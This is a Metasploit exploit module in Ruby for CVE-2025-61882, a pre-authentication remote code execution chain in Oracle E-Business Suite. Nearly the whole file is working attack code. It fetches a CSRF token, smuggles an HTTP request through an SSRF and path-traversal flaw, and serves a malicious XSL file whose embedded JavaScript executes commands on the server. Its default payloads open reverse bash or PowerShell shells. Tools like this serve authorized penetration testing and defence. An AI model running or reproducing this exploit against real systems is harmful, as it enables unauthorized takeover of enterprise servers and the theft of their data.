# frozen_string_literal: true ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::Retry def initialize(info = {}) super( update_info( info, 'Name' => 'Oracle E-Business Suite CVE-2025-61882 RCE', 'Description' => %q{ This module exploits CVE-2025-61882 in Oracle E-Business Suite by combining SSRF, Path Traversal, HTTP request smuggling and XSLT injection. The exploit hosts a malicious XSL file that the target will fetch and process, leading to RCE. This module provides an interactive shell session. Vulnerable versions affected are 12.2.3-12.2.14. }, 'Author' => [ 'watchTowr (Sonny, Sina Kheirkhah, Jake Knott)', # Original Python POC and blog Article 'Mathieu Dupas' # Metasploit module development ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2025-61882'], [ 'URL', 'https://labs.watchtowr.com/well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882well-well-well-its-another-day-oracle-e-business-suite-pre-auth-rce-chain-cve-2025-61882/' ], ['URL', 'https://www.oracle.com/security-alerts/alert-cve-2025-61882.html'] ], 'Targets' => [ [ 'Linux/Unix (Interactive Shell)', { 'Platform' => %w[unix linux], 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' # Simple payload but feel free to use meterpreter ones if needed } } ], [ 'Windows (Interactive Shell)', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2025-10-04', 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options([ Opt::RPORT(8000), OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']), OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']), OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]), OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]), OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30]) ]) end def check vprint_status('Checking if target is vulnerable...') return CheckCode::Safe unless oracle_ebs_detected? csrf_token = retrieve_csrf_token return CheckCode::Unknown unless csrf_token return CheckCode::Appears if vulnerable_servlet_accessible?(csrf_token) CheckCode::Safe end # Serve malicious XSLT file def on_request_uri(cli, request) print_good("Received request: #{request.method} #{request.uri} from #{cli.peerhost}:#{cli.peerport}") if request.uri.include?('.xsl') print_good("Serving XSL payload to #{cli.peerhost}...") xsl_content = generate_xsl_payload send_response(cli, xsl_content, { 'Content-Type' => 'application/xml', 'Content-Length' => xsl_content.length.to_s, 'Connection' => 'close' }) # Mark XSL file as served @xsl_served = true print_good("XSL payload delivered successfully to #{cli.peerhost} (#{xsl_content.length} bytes)") else print_warning("Unexpected request for #{request.uri}, #{cli.peerhost} sending 404") send_not_found(cli) end end def generate_xsl_payload command = payload.encoded vprint_status("Generated command: #{command}") # Adapt the command to the platform base_cmd = case target['Platform'] when 'win' ['cmd.exe', '/c'] else ['sh', '-c'] end # Escaping apostrophes and backslashes escaped_command = command.gsub('\\', '\\\\\\\\').gsub("'", "\\\\'") js_vars = Rex::RandomIdentifier::Generator.new({ language: :javascript }) # JavaScript code that will be executed server side via XSLT js = %| var #{js_vars[:string_c]} = java.lang.Class.forName('java.lang.String'); var #{js_vars[:cmds]} = java.lang.reflect.Array.newInstance(#{js_vars[:string_c]}, 3); java.lang.reflect.Array.set(#{js_vars[:cmds]}, 0, '#{base_cmd[0]}'); java.lang.reflect.Array.set(#{js_vars[:cmds]}, 1, '#{base_cmd[1]}'); java.lang.reflect.Array.set(#{js_vars[:cmds]}, 2, '#{escaped_command}'); var #{js_vars[:run_time]} = java.lang.Runtime.getRuntime(); var #{js_vars[:proc]} = #{js_vars[:run_time]}.exec(#{js_vars[:cmds]}); 1 | # Encode in base64 to avoid problems with XML parsing encoded_js = Rex::Text.encode_base64(js) # Generate XSLT %| | end def exploit @xsl_served = false @session_created = false # Step 1 : Start HTTP server for XSL file serving print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") start_service( 'Uri' => { 'Proc' => proc { |cli, request| on_request_uri(cli, request) }, 'Path' => '/' } ) # construct server URL server_url = get_uri xsl_url = "#{server_url}#{Rex::Text.rand_text_alpha(8)}.xsl" print_status("XSL payload will be served at: #{xsl_url}") # Step 2: Get CSRF token print_status('Retrieving CSRF token from target...') csrf_token = retrieve_csrf_token fail_with(Failure::Unknown, 'Could not retrieve CSRF token') unless csrf_token print_good("CSRF token retrieved: #{csrf_token}") # Step 3: Smuggle payload print_status('Creating HTTP request smuggling payload...') smuggle_payload = create_smuggle_payload vprint_status("Smuggled payload created (#{smuggle_payload.length} bytes)") # Step 4: Send exploit request print_status('Triggering exploitation via UiServlet...') send_exploit_request(smuggle_payload) # Step 5: Wait for XSLT file download print_status("Keeping HTTP server alive, waiting for callback to #{datastore['LHOST']}:#{datastore['LPORT']}...") begin # Wait for XSL request retry_until_truthy(timeout: datastore['HTTP_TIMEOUT']) do @xsl_served end # Wait for shell connection print_status("Waiting up to #{datastore['SHELL_TIMEOUT']} seconds for reverse shell connection...") retry_until_truthy(timeout: datastore['SHELL_TIMEOUT']) do session_created? end print_good('Session created successfully!') @session_created = true rescue ::Timeout::Error if !@xsl_served print_error("XSL request timeout (#{datastore['HTTP_TIMEOUT']}s) expired") else print_error("Shell timeout (#{datastore['SHELL_TIMEOUT']}s) expired") end end end def retrieve_csrf_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp'), 'keep_cookies' => true }) return nil unless res res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'JavaScriptServlet'), 'headers' => { 'CSRF-XHR' => 'YES', 'FETCH-CSRF-TOKEN' => '1' }, 'keep_cookies' => true }) if res && res.code == 200 && res.body parts = res.body.split(':') return parts[1].strip if parts.length >= 2 end nil rescue ::Rex::ConnectionError, ::Timeout::Error => e vprint_error("Connection failed: #{e.class}") nil end def create_smuggle_payload srvhost = datastore['SRVHOST'] srvport = datastore['SRVPORT'] srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0' smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n" smuggle_request += "Host: #{srvhost}:#{srvport}\r\n" smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n" smuggle_request += "Connection: keep-alive\r\n" # Add sessions cookies cookies = get_cookies smuggle_request += "Cookie: #{cookies}\r\n" if cookies && !cookies.empty? # Add POST request via CRLF smuggle_request += "\r\n\r\n\r\nPOST /" vprint_status("Smuggled request will target: #{srvhost}:#{srvport}") vprint_status('Full smuggled request:') vprint_line(smuggle_request) if datastore['VERBOSE'] # Encode payload in HTML entities cook_smuggle_stub(smuggle_request) end def cook_smuggle_stub(payload) payload = payload.sub(/^(?:POST|GET) /, '') # Encode in HTML entities Rex::Text.html_encode(payload) end def send_exploit_request(encoded_payload) # Encoded payload is inserted in return_url (SSRF) xml = %(\ \ test\ http://apps.example.com:7201#{encoded_payload}\ 0\ 0\ Applet\ ) vprint_status('Sending exploit to UiServlet...') res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'), 'vars_post' => { 'redirectFromJsp' => '1', 'getUiType' => xml }, 'keep_cookies' => true }) if res vprint_status("UiServlet responded with: #{res.code}") vprint_status("Response body length: #{res.body.length} bytes") if res.body else print_warning('No response from UiServlet (this might be normal)') end res end def get_cookies cookies = [] cookie_jar.cookies.each do |cookie| cookies << "#{cookie.name}=#{cookie.value}" end cookies.join('; ') end def oracle_ebs_detected? res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'runforms.jsp') }) res && (res.headers['Server']&.include?('Oracle') || res.body&.include?('Oracle')) # maybe to adapt for different versions. Fully Tested on version 12.2.12 rescue StandardError false end def vulnerable_servlet_accessible?(_csrf_token) test_xml = '' \ '' \ 'test' \ 'http://example.com/test' \ '0' \ '0' \ 'Applet' \ '' res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'OA_HTML', 'configurator', 'UiServlet'), 'vars_post' => { 'redirectFromJsp' => '1', 'getUiType' => test_xml }, 'keep_cookies' => true }) res && [200, 302].include?(res.code) rescue StandardError false end end